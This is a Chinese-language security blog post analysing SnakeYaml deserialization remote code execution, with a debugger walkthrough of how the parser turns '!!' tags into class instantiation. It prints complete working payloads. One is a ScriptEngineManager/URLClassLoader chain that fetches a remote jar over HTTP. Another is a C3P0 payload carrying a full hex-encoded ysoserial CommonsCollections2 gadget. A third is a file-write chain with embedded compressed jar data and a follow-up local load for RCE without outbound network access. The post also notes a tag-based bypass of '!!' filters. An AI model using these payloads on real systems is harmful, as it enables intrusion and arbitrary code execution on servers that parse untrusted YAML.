Java安全之SnakeYaml反序列化分析
Java安全之SnakeYaml反序列化分析
目錄寫在前面
學習記錄
SnakeYaml簡介
snakeyaml包主要用來解析yaml格式的內容,yaml語言比普通的xml與properties等配置檔案的可讀性更高,像是Spring系列就支援yaml的配置檔案,而SnakeYaml是一個完整的YAML1.1規範Processor,支援UTF-8/UTF-16,支援Java物件的序列化/反序列化,支援所有YAML定義的型別。
yaml語法參考:
Spring配置檔案經常遇到,這裡不多做贅述了
推薦一個yml檔案轉yaml字串的地址,網上部分poc是通過yml檔案進行本地測試的,實戰可能用到的更多的是yaml字串。https://www.345tool.com/zh-hans/formatter/yaml-formatter
SnakeYaml序列化與反序列化
依賴
<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml --> <dependency> <groupId>org.yaml</groupId> <artifactId>snakeyaml</artifactId> <version>1.27</version> </dependency>
常用方法
String dump(Object data) 將Java物件序列化為YAML字串。 void dump(Object data, Writer output) 將Java物件序列化為YAML流。 String dumpAll(Iterator<? extends Object> data) 將一系列Java物件序列化為YAML字串。 void dumpAll(Iterator<? extends Object> data, Writer output) 將一系列Java物件序列化為YAML流。 String dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle) 將Java物件序列化為YAML字串。 String dumpAsMap(Object data) 將Java物件序列化為YAML字串。 <T> T load(InputStream io) 解析流中唯一的YAML文件,並生成相應的Java物件。 <T> T load(Reader io) 解析流中唯一的YAML文件,並生成相應的Java物件。 <T> T load(String yaml) 解析字串中唯一的YAML文件,並生成相應的Java物件。 Iterable<Object> loadAll(InputStream yaml) 解析流中的所有YAML文件,並生成相應的Java物件。 Iterable<Object> loadAll(Reader yaml) 解析字串中的所有YAML文件,並生成相應的Java物件。 Iterable<Object> loadAll(String yaml) 解析字串中的所有YAML文件,並生成相應的Java物件。
主要關注序列化與反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()兩個函式對yaml格式的資料進行序列化和反序列化。
- Yaml.load():入參是一個字串或者一個檔案,經過序列化之後返回一個Java物件;
- Yaml.dump():將一個物件轉化為yaml檔案形式;
序列化
User類
public class User {
public String name;
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
}
Demo
import org.yaml.snakeyaml.Yaml;
public class SankeYamlDemo {
public static void main(String[] args) {
User user = new User();
user.setName("xiaobei");
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
}
輸出瞭如下字串
!!com.zh1z3ven.SnakeYaml.User {name: xiaobei}
這裡的!!
類似於fastjson中的@type
用於指定反序列化的全類名
反序列化
再來一段User程式碼,主要是在各個方法中都添加了print,來看一下反序列化時會觸發這個類的哪些方法
public class User2 {
String name;
int age;
public User2() {
System.out.println("User建構函式");
}
public String getName() {
System.out.println("User.getName");
return name;
}
public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}
public String getAge() {
System.out.println("User.getAge");
return name;
}
public void setAge(String name) {
System.out.println("User.setAge");
this.name = name;
}
}
Demo,注意通過!!
指定類名需要寫全類名
import org.yaml.snakeyaml.Yaml;
public class SankeYamlDemo {
public static void main(String[] args) {
Deserialize();
}
public static void Serialize(){
User user = new User();
user.setName("xiaobei");
Yaml yaml = new Yaml();
String dump = yaml.dump(user);
System.out.println(dump);
}
public static void Deserialize(){
String s = "!!com.zh1z3ven.SnakeYaml.User2 {name: xiaobei, age: 18}";
Yaml yaml = new Yaml();
User2 user2 = yaml.load(s);
}
}
結果
User建構函式
User.setName
User.setAge
反序列化過程中會觸發set方法和構造方法。
SnakeYaml反序列化漏洞
影響版本
全版本
漏洞原理
yaml反序列化時可以通過!!
+全類名指定反序列化的類,反序列化過程中會例項化該類,可以通過構造ScriptEngineManager
payload並利用SPI機制通過URLClassLoader
或者其他payload如JNDI方式遠端載入例項化惡意類從而實現任意程式碼執行。
漏洞復現
網上最多的一個PoC就是基於javax.script.ScriptEngineManager的利用鏈通過URLClassLoader實現的程式碼執行。github上已經有現成的利用專案,可以更改好專案程式碼部署在web上即可。所以說SnakeYaml通常的一個利用條件是需要出網的
比如加一段彈計算器的程式碼Runtime.getRuntime().exec("open -a Calculator");
當然也可以寫個自定義的ClassLoader然後通過defineClass載入 bytecode的base64字串達到打記憶體馬的一個目的。
更改好之後通過如下命令編譯打包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
之後在該目錄開一個web服務
更改poc
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"]
]]
]
收到http log併成功彈出計算器
除錯分析
下面除錯分析一下整個流程,在yaml.load(s)處下斷點
首先通過StringReader
處理我們傳入的字串,PoC儲存在StreamReader的this.stream欄位值裡。
上面主要是對輸入的payload進行賦值與簡單處理的操作,之後進入loadFromReader(new StreamReader(yaml), Object.class)
方法中
該方法內邏輯如下
首先會對我們傳入的payload進行處理,封裝成Composer物件。
其中會有一步new ParserImpl
的操作
這裡注意!! -> tag:yaml.org,2002:
後續也會對我們傳入的 payload進行字串替換的操作。
之後呼叫BaseConstructor#setComposer()
方法,對Composer
進行賦值,最終進入BaseConstructor#getSingleData(type)
方法內,跟進後會呼叫 this.composer.getSingleNode()
方法對我們傳入的payload進行處理,會把!!
變成tagxx一類的標識
這個在淺藍師傅的文章中也有提到過,對於一些yaml常用的set map等型別都是一個tag,屬於是在過濾掉!!
的情況下可以通過這種tag
形式去進行Bypass,詳細的思路可參考淺藍師傅的文章。
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
而tag具體的替換以及整個payload重新組合的邏輯在ParserImpl#parseNode()
方法中
呼叫棧如下
parseNode:426, ParserImpl (org.yaml.snakeyaml.parser)
access$1300:117, ParserImpl (org.yaml.snakeyaml.parser)
produce:359, ParserImpl$ParseBlockNode (org.yaml.snakeyaml.parser)
peekEvent:158, ParserImpl (org.yaml.snakeyaml.parser)
checkEvent:148, ParserImpl (org.yaml.snakeyaml.parser)
composeNode:136, Composer (org.yaml.snakeyaml.composer)
getNode:95, Composer (org.yaml.snakeyaml.composer)
getSingleNode:119, Composer (org.yaml.snakeyaml.composer)
getSingleData:150, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
所以我們之前傳入的payload
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"]
]]
]
會變為如下的一種形式
<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9000/yaml-payload.jar)>])>])>])>])>
繼續跟進,會執行 return this.constructDocument(node)
從而進入BaseConstructor#constructDocument
方法,其中呼叫了constructObject
方法
繼續跟進後發現,在constructObjectNoCheck
方法中會去獲取對應tag的value,邏輯在getConstructor
方法內(其中node是我們傳入後經過處理的payload)
之後呼叫Constructor#construct
方法,這裡就是關鍵的地方了
進入後首先呼叫getConstuctor
方法
繼續跟getClassForNode
,這裡this.typeTags
為null,所以進入if邏輯內
跟進getClassForName
,最終這裡是通過反射獲取到ScriptEngineManager
的一個Class物件
後續向typeTags
的Map裡put進去了本次tag和class物件的鍵值對並返回ScriptEngineManager
這個class物件,後續對URLClassLoader
和URL
處理的邏輯基本差不多相同,這裡就跳過了
當URL
也被反射拿到class物件後,直接跟到construct
方法內
首先通過反射獲取node
欄位的type
屬性值所對應的構造方法
最終通過newInstance
方法例項化,這裡具體的話分為3步,首先是URL
的例項化,之後是URLClassLoader
的例項化,最終例項化ScriptEngineManager
時才會真正的觸發遠端程式碼執行
小結
整個除錯下來感覺有點類似於在調Fastjson,前面一小半的部分是在做一些payload的處理,涉及到一些變數,比如tag、node、type這些,以及SnakeYaml內部對於!!
去轉換為tag
這類的操作,然後就是一些資料的流向,需要仔細觀察;後半部分就是整個漏洞的一個觸發,整體的一個思路就是先反射分別獲取ScriptEngineManager
、URLClassLoader
、URL
的class物件,之後在construct
方法內最終分別例項化了URL
、URLClassLoader
、ScriptEngineManager
來造成遠端程式碼執行。
SPI機制
嚴格來講上面是ScriptEngineManager
的例項化過程分析,其實最終造成程式碼執行還涉及到一個概念:SPI機制。ScriptEngineManager
底層用到的也是SPI機制
SPI ,全稱為 Service Provider Interface
,是一種服務發現機制。它通過在ClassPath路徑下的META-INF/services資料夾查詢檔案
,自動載入檔案裡所定義的類。也就是動態為某個介面尋找服務實現。
使用 SPI 機制的話需要在Java classpath 下的 META-INF/services/
目錄裡建立一個以服務介面命名的檔案,這個檔案裡的內容就是這個介面的具體的實現類的全類名
比如lombok
再比如我們的poc裡也是這樣的
同樣JDBC也用到了這種機制
實現原理:
程式會通過java.util.ServiceLoder
動態裝載實現模組,在META-INF/services
目錄下的配置檔案尋找實現類的類名,通過Class.forName
載入進來,newInstance()
建立物件,並存到快取和列表裡面。
ScriptEngineManager分析
那麼我們來跟一下ScriptEngineManager
,把payload的jar拖到專案依賴中,在ScriptEngineManager
的構造方法下斷點,從newInstance
處F7即可跟入
前面都是一些賦值操作,跟進initEngines
ServiceLoaderMETA-INF/services
目錄下的javax.script.ScriptEngineFactory
然後去載入檔案中指定的PoC類從而觸發遠端程式碼執行
跟進itr.next()
會進入ServiceLoader$LazyIterator#next()
方法,呼叫了nextService
繼續跟進,先反射獲取的class物件,之後newInstance例項化,這裡第一次例項化的是NashornScriptEngineFactory
類,之後第二次會去例項化我們遠端jar中的PoC類,從而觸發靜態程式碼塊/無參構造方法的執行來達到任意程式碼執行的目的
其他利用姿勢
主要是出網與不出網咖
可參考mi1k7ea師傅文章,在師傅文中列出了多個JNDI的利用鏈。下面主要看一下不出網的情況。
C3P0
思路類似於Fastjson通過C3P0二次反序列化去打
需要用到C3P0.WrapperConnectionPoolDataSource
通過Hex序列化位元組載入器,給userOverridesAsString
賦值惡意序列化內容(本地Gadget)的Hex編碼值達成利用。
這裡以C3P0+CC2為例
生成段CC2彈計算器的PoC
➜ java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > /tmp/calc.ser
讀取檔案內容並Hex編碼
public class HexEncode {
public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println("hello");
InputStream in = new FileInputStream("/tmp/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);
}
public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
最終SnakeYaml Payload如下:
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: 'HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006A8CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001E79736F73657269616C2F50776E65723334373231313439383436393232330100204C79736F73657269616C2F50776E65723334373231313439383436393232333B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178;'
ScriptEngineManager
參考 https://xz.aliyun.com/t/10655,下面做個復現
主要分兩步,第一步把利用時所需jar包落地,第二步用ScriptEngineManager
通過file協議載入本地jar
用師傅文章中的利用程式碼可直接生成寫檔案PoC:
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/tmp/yaml-payload.txt"],false],!!java.util.zip.Inflater { input: !!binary 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 },1048576]]
第一次反序列化會直接落地檔案
第二步載入寫入的惡意檔案完成不出網RCE
PoC
!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/yaml-payload.txt"]]]]
這裡的話比如ruoyi,是有一個寫檔案的漏洞,也可以直接利用該漏洞去寫入檔案,不一定是jar格式,jpg、png、txt都可以。
個人感覺如果有C3P0的時候更喜歡打C3P0一些,操作更方便也不需要落地檔案,就是需要知道有哪些Gadget,但是ScriptEngineManager
寫檔案的思路真的很棒,膜一波師傅們。
Reference
https://xz.aliyun.com/t/10655
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%25E6%25BC%258F%25E6%25B4%259E/#0x03-%25E6%259B%25B4%25E5%25A4%259AGadgets%25E6%258E%25A2%25E7%25A9%25B6
https://github.com/artsploit/yaml-payload
https://b1ue.cn/archives/407.html
https://www.cnblogs.com/nice0e3/p/14514882.html